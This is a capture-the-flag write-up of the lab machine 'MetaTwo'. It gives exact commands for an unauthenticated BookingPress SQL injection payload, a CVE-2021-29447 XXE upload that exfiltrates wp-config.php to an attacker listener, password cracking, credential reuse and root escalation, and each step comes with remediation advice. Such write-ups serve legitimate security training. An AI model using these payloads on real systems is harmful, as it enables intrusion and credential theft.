MetaTwo
Summary
I began by mapping three exposed services — FTP, SSH, and HTTP — and discovering a WordPress 5.6 site (metapress.htb). An outdated BookingPress scheduling plugin (v1.0.10) contained a publicly known SQL injection flaw that allowed any internet visitor to dump password hashes from the WordPress database without logging in; the 'manager' account's hash was cracked offline in under two minutes to <withheld>. Authenticated as manager, I exploited a second unpatched flaw in WordPress's media library (CVE-2021-29447) by uploading a crafted audio file that tricked the server's XML parser into reading and exfiltrating the site's configuration file (wp-config.php), which disclosed FTP service credentials.
Logging into FTP, I found a PHP mailer script with system user jnelson's SMTP password hardcoded in plaintext; that same password was reused as jnelson's SSH login, granting a shell and the user flag. Inside jnelson's home directory sat a Passpie password manager vault encrypted with a PGP key whose passphrase was weak enough to crack offline, revealing the root account password and enabling full system compromise via 'su - root'.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for jnelson>"
export PASSWORD3="<the-password-you-recovered, for manager>"
export PASSWORD4="<the-password-you-recovered, for root>"Some commands also carry a value in angle brackets — <cracked_passphrase>, <nonce> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Identify open services and version banners.
$ nmap -sV -sC -p 21,22,80 --min-rate 5000 $TARGETConfirm the HTTP redirect to the metapress.htb vhost.
$ curl -si http://$TARGET/ | grep -i locationAdd the discovered vhost to local DNS resolution.
$ echo "$TARGET metapress.htb" | sudo tee -a /etc/hostsEnumerate registered WordPress usernames without credentials.
$ curl -s 'http://metapress.htb/wp-json/wp/v2/users'FixRestrict unauthenticated WordPress user enumeration via the REST APIMedium
Exact commands 1
Confirm the installed plugin version from its public readme file.
$ curl -s 'http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt' | grep -i 'Stable tag\|Version'Exact commands 3
Extract the _wpnonce value embedded in the booking page JavaScript — required for the AJAX call.
$ curl -s 'http://metapress.htb/events/' | grep -oP '"nonce":"\K[^"]+' | head -1Inject SQL via category_id to dump usernames and hashes; replace <nonce> with the extracted value.
$ curl -s -X POST 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=<nonce>&category_id=1 UNION SELECT user_login,user_pass,3,4,5,6,7,8,9 FROM wp_users-- -'Save the extracted phpass hash to manager_hash.txt and crack it offline; rockyou.txt is standard on Kali Linux.
$ john --wordlist=/usr/share/wordlists/rockyou.txt manager_hash.txtFixUpdate BookingPress to >= 1.0.11 and enforce a 48-hour plugin patching policyCritical
Exact commands 3
Serve evil.dtd and capture the exfiltrated base64 response in the server log; run in a separate terminal.
$ python3 -m http.server 8888Authenticate as manager, generate the XXE WAV payload referencing the hosted DTD, upload it, and poll for the callback. Public PoC scripts for CVE-2021-29447 are available; replace $ATTACKER_IP with your listener address.
$ python3 metapress_upload_xxe.py --url http://metapress.htb --user manager --pass $PASSWORD3 --attacker-ip $ATTACKER_IP --attacker-port 8888Decode the exfiltrated wp-config.php contents received in the HTTP listener log to reveal plaintext credentials.
$ echo '<BASE64_FROM_LISTENER>' | base64 -dFixUpgrade WordPress to >= 5.7.2 to eliminate the media-library XXE vulnerability (CVE-2021-29447)Critical
Exact commands 3
Authenticate to FTP with credentials from wp-config.php and list the root share contents.
$ curl -s -v --user "metapress.htb:$PASSWORD" ftp://$TARGET/Download the PHP mailer script to my machine.
$ curl -s --user "metapress.htb:$PASSWORD" ftp://$TARGET/mailer/send_email.php -o send_email.phpExtract hardcoded credentials from the downloaded file.
$ grep -iE 'pass|user|host|smtp' send_email.phpFixRemove cleartext credentials from application source files stored on the FTP serverHigh
Exact commands 1
Confirm SSH access with the reused SMTP password and capture the user flag -> <user.txt>
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jnelson@$TARGET 'id && cat ~/user.txt'FixEnforce unique passwords per service and disable SSH password authenticationHigh
Exact commands 5
Confirm the Passpie vault and .keys file are present in jnelson's home directory.
$ sshpass -p "$PASSWORD2" ssh jnelson@$TARGET 'ls -la ~/.passpie'Copy the full Passpie store (including .keys and encrypted .pass credential files) to my machine.
$ scp -o StrictHostKeyChecking=no -r jnelson@$TARGET:/home/jnelson/.passpie /tmp/metapress_passpieConvert the PGP secret key to John the Ripper's hash format and crack the passphrase offline.
$ gpg2john /tmp/metapress_passpie/.keys > passpie_hash.txt && john --wordlist=/usr/share/wordlists/rockyou.txt passpie_hash.txtImport the PGP key into an isolated keyring, then decrypt the stored root credential file; replace <cracked_passphrase> with the value recovered by John.
$ mkdir -m 700 /tmp/gpghome && GNUPGHOME=/tmp/gpghome gpg --batch --import /tmp/metapress_passpie/.keys && GNUPGHOME=/tmp/gpghome gpg --batch --pinentry-mode loopback --passphrase '<cracked_passphrase>' --decrypt /tmp/metapress_passpie/ssh/root.passUse the recovered root password to switch to root via 'su' and capture the root flag -> <root.txt>
$ sshpass -p "$PASSWORD2" ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jnelson@$TARGET "printf '%s\n' '$PASSWORD4' | su - root -c 'id; cat /root/root.txt'"
uid=0(root)FixProtect privileged credential stores with strong passphrases and remove them from user home directoriesCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 21/tcp | ftp recon-sweep-discovered |
| 22/tcp | ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) |
| 80/tcp | http nginx 1.18.0 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.